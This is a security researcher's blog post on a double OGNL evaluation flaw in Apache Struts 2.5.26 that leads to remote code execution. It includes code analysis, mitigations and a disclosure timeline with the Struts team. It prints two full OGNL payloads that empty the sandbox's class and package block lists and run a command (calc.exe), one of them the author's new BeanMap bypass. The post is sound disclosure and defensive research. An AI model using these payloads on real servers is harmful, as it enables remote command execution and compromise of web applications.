Exploiting Struts RCE on 2.5.26

Exploiting Struts RCE on 2.5.26

Abstract

Late last year, 2020, a fix for a remote code execution (RCE) vulnerability discovered by Alvaro Munoz and Masato Anzai, was published by Apache Struts that goes by S2-061 or CVE-2020-17530 a "Forced OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution - similar to S2-059  or CVE-2019-0230. While fixes to both have helped in limiting the vulnerable scenarios while using the Struts2 library and strengthening its sandbox, remote code execution is still possible in the latest versions of Struts 2.5.26. 

While the sandbox escape written below is new and works on Struts 2.5.26, it was just mentioned to me this OGNL evaluation was originally reported by Man Yue Mo and Alvaro Munoz. Please check out their great work here: securitylab.github.com/research/apachsecuritylab.github.com/advisories/GHS

The second reported OGNL evaluation issue and XSS mentioned at the end I believe is new though and will provide details soon. 

Vulnerability Analysis

Core Concepts

Struts2 performs OGNL evaluation on various attributes of the .jsp elements. Much like in the example of S2-059, developers define an attribute's value with the syntax "%{}" in order to make that page dynamic and pull in url parameters. For example, if you wanted to pass the url parameter 'skillName' to a page, you'd do the following:

https://<domain>/?skillName=abctest

<s:url action="list" namespace="/employee" var="url">
<s:a href="%{url}" id="%{skillName}">List available Employees</s:a>
</s:url>
The code on the backend performs a single OGNL evaluation to in order to retrieve the inputs passed in by the GET parameters. Or at least that's how it's supposed to work. A vulnerability exists when that user defined value ends up getting OGNL evaluation performed twice. 

S2-061

In the S2-061 issue, if you used an anchor tag defined in your jsp similar to below and passed in an value idVal=%{3*3} the input would have a double OGNL evaluation performed resulting in id="9" 
//example
<s:a id="%{idVal}"/>
//result
<s:a id="9"/>

The fix for this was https://github.com/apache/struts/commit/0a75d8e8fa3e75d538fb0fcbc75473bdbff9209e . The core of the fix centered on the UIBean class. 


One of the two OGNL evaluations occurred during the setId function, when it called findString(id) and a recursion check was added to not OGNL evaluate when the name parameter contained an "%{" or "}".  

New RCE

Basics

This recursion check drew my attention when triaging this issue. It called completeExpressionIfAltSyntax on the local variable "name" and assigned it to expr, but then did a recursion check on local variable "name" before ultimately OGNL evaluating the local variable "expr". 


This is good, but without a second OGNL evaluation done on the local variable "name", name, wouldn't contain the user supplied data from the URL parameters. However, as it turns out, there was another OGNL evaluation performed earlier in the evaluateParams function around line 664. 



This means for some UIBean tags the name attributes are vulnerable to a double OGNL evaluation, if they don't contain a value parameter, which could lead to a remote code execution. 

Proof of Concept POC for basic vulnerable elements:

<s:textfield label="test1" name="%{skillName}"/>
<!-- or -->
<s:label id="test2" name="%{skillName}" />

https://<domain>/?skillName=3*3  Will evaluate 3*3 = 9. 

The interesting thing is for some elements the name value is evaluated but not returned in the result. So for <s:label...> it wont return the OGNL evaluated name value. This DOESN'T mean the value wasn't evaluated. 
What exploitation might render as.
Doesn't mean it didn't evaluate the expression on the backend.



Before findValue called on expr


After findValue called on expr


Advanced

This is all great, but we haven't broken out of Struts' OGNL sandbox. Struts2 defines its excluded classes and packages in the struts-default.xml file. These were the additional packages added to the block list in 2.5.26.


 In addition to all these classes/package restrictions, OGNL sandbox rules include:
  • Can't call a static method
  • Can't use reflection 
  • Can't create a new object 


Even after you escape the blacklist you can't call Runtime directly. This makes things very challenging because this sandbox has continuously become more secure with each iteration and reduced the massive landscape of possible RCE exploits. But there's still some unexplored possibilities. If you look up POC for S2-061 you'll probably come up with the following:
%{
(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + 
(#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + 
(#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) + 
(#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + 
(#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) + 
(#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + 
(#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))
}

This effectively evaluates to:
//Place valuestack in a beanmap map
application.map = org.apache.tomcat.InstanceManager().newInstance('org.apache.commons.collecitons.BeanMap');
application.map.setBean(#request.get('struts.valueStack'));

//grab the context variable from valuestack and place in beanmap map2
application.map2 = org.apache.tomcat.InstanceManager().newInstance('org.apache.commons.collecitons.BeanMap');
application.map2.setBean(#application.get('map').get('context'));

//grab the memberaccess variable from context variable and place in beanmap map3
application.map3 = org.apache.tomcat.InstanceManager().newInstance('org.apache.commons.collecitons.BeanMap');
application.map3.setBean(#application.get('map2').get('memberAccess'));

//clear block lists found in memberaccess, by creating empty lists in their place. 
application.get('map3').put(excludedPackageNames', new HashSet());
application.get('map3').put(excludedClasses', new HashSet());

//break out of sandbox restrictions and now execute calc.exe
application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}));

When OGNL is evaluated in Struts2 it has in its context mapping a few predefined values that map to objects. Some of these include '#application', '#request', '#attr', for example. So when you call %{#application.toString()} you are invoking that object and its toString function. There are a few very talented researchers who have discovered you can tiptoe around the OGNL/Struts sandbox restrictions by using 

#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')

To create a BeanMap and use its setBean and put functions to clear the excludedPackageNames and excludedClasses and thus nullify the sandbox restrictions. 

That's great, but the new sandbox restrictions block the use of org.apache.tomcat.*

Bypassing S2-061 sandbox restrictions

After looking for weeks using callgraph tools like software-forensic-kit, debuggers and reading code line by line I was starting to think it wasn't possible anymore. I had found numerous ways to collect interesting info through exploits or to cause odd ui behavior on return functions but not yet broken out of the sandbox.

One of the possible sandbox bypasses I had looked into I thought might work, but I thought maybe I had the syntax incorrect. So I took a day off then came back and started reviewing the OGNL syntax . This opened my eyes in a completely different direction when I noticed the section on "Maps". 


I realized you can create your own map of its own class. 

So https://<domain>/?skillName=#@java.util.LinkedHashMap@{"foo":"value"} would create a LinkedHashMap object and populate it with "foo":"value". 

Or you could create a BeanMap object. So the previous method to get a BeanMap was:

#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap') 

Now it can be done by simply using: 
#@org.apache.commons.collections.BeanMap@{}

There aren't any sandbox restrictions to using org.apache.commons.collections.BeanMap so by creating it directly using special OGNL syntax you bypass all the previous sandbox restrictions. 

Applying that concept and removing the "%{" "}" to the previous POC, the new full RCE executing calc.exe becomes the following:
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))


Here's the POC in action:





Mitigations

  1. These UIBean elements end up performing a second OGNL evaluation on the name attribute because a 'value' attribute doesn't exist and its trying to fill that attribute.  So by giving all your attributes a blank value="" it'll help mitigate this issue.  (ex: <s:label name="%{skillName}" value="" />
  2. Add org.apache.commons.collection.BeanMap to the excludedClasses list of the Struts2 sandbox would exclude direct use of it.

Remediation

I reached out to the Struts team and their take was "During investigating reports around 'double evaluation' I noticed that this is a required functionality and right now I don't see an option to remove it or disable it" . Their example was this test https://github.com/apache/struts/blob/master/core/src/test/java/org/apache/struts2/views/jsp/ui/TextfieldTest.java#L337-L350. Where setName tag.setName(array[%{fooInt}]); needs to evaluate the name value. One OGNL evaluation changes it into an array[] object. The other OGNL evaluation retrieves the value for the variable name fooInt. "In such a case "double evaluation" is needed and maybe this is the only case where we need it."
Struts only recommended to follow their recommendations on using their library https://struts.apache.org/security/#do-not-use-incoming-untrusted-user-input-in-forced-expression-evaluation


Timeline

In between these dates I sent multiple emails trying to explain the criticality of this issue, how its similar to CVE-2020-17530, CVE-2019-0230, CVE-2016-4461, or CVE-2016-0785, and how even providing mitigations would be helpful to their customers. 
  • Jan 4th 2021 - Submitted issue to security@struts.apache.org.
  • Feb 15th 2021 - Struts responded with they would 'try to fix the problem'.  However, they compared using GET url parameters in their web framework equal to downloading unsafe executables from the internet. 
  • March 25th 2021 - Struts said they believe this is required functionality and don't see an option to remove it or disable it. They said "If you want to present this issue or posting a blog I'm fine with that as well, just please point out our recommendation to educate developers how to use this functionality."
  • April 6th 2021- Reached out to the Apache group to request a CVE since they are a CNA for the RCE issue. 
  • April 12th 2021 - Apache said after discussing with the Struts team they have determined it does not qualify for a CVE name and are "happy for me to highlight the issue in my blog and presentation"
  • April 12th 2021 - Struts after talking with Apache said "its a dilemma to consider these issues vulnerability or not" But said they were working on a fix that looks promising. 
  • April 23rd 2021 - Submitted CVE to Mitre notifying them the CNA doesn't consider this a vulnerability.
  • May 6th 2021 - Submitted a second double OGNL evaluation vulnerability leading to RCE. Also submitted an XSS issue as well to Apache Struts.
  • May 20th 2021 - They provided the pull for the changes https://github.com/apache/struts/pull/483 
  • Nov 8th 2021 - Prerelease does not contain the fix for 2.5.27 https://dist.apache.org/repos/dist/dev/struts/2.5.27/ . Possibly 2.5.28 or 2.6 will have it.
  • April 4th 2022 - Fixes went out for multiple issues CVE-2021-31805 - https://github.com/apache/struts/pull/496 



Comments

Post a Comment

Popular posts from this blog

2nd RCE and XSS in Apache Struts before 2.5.30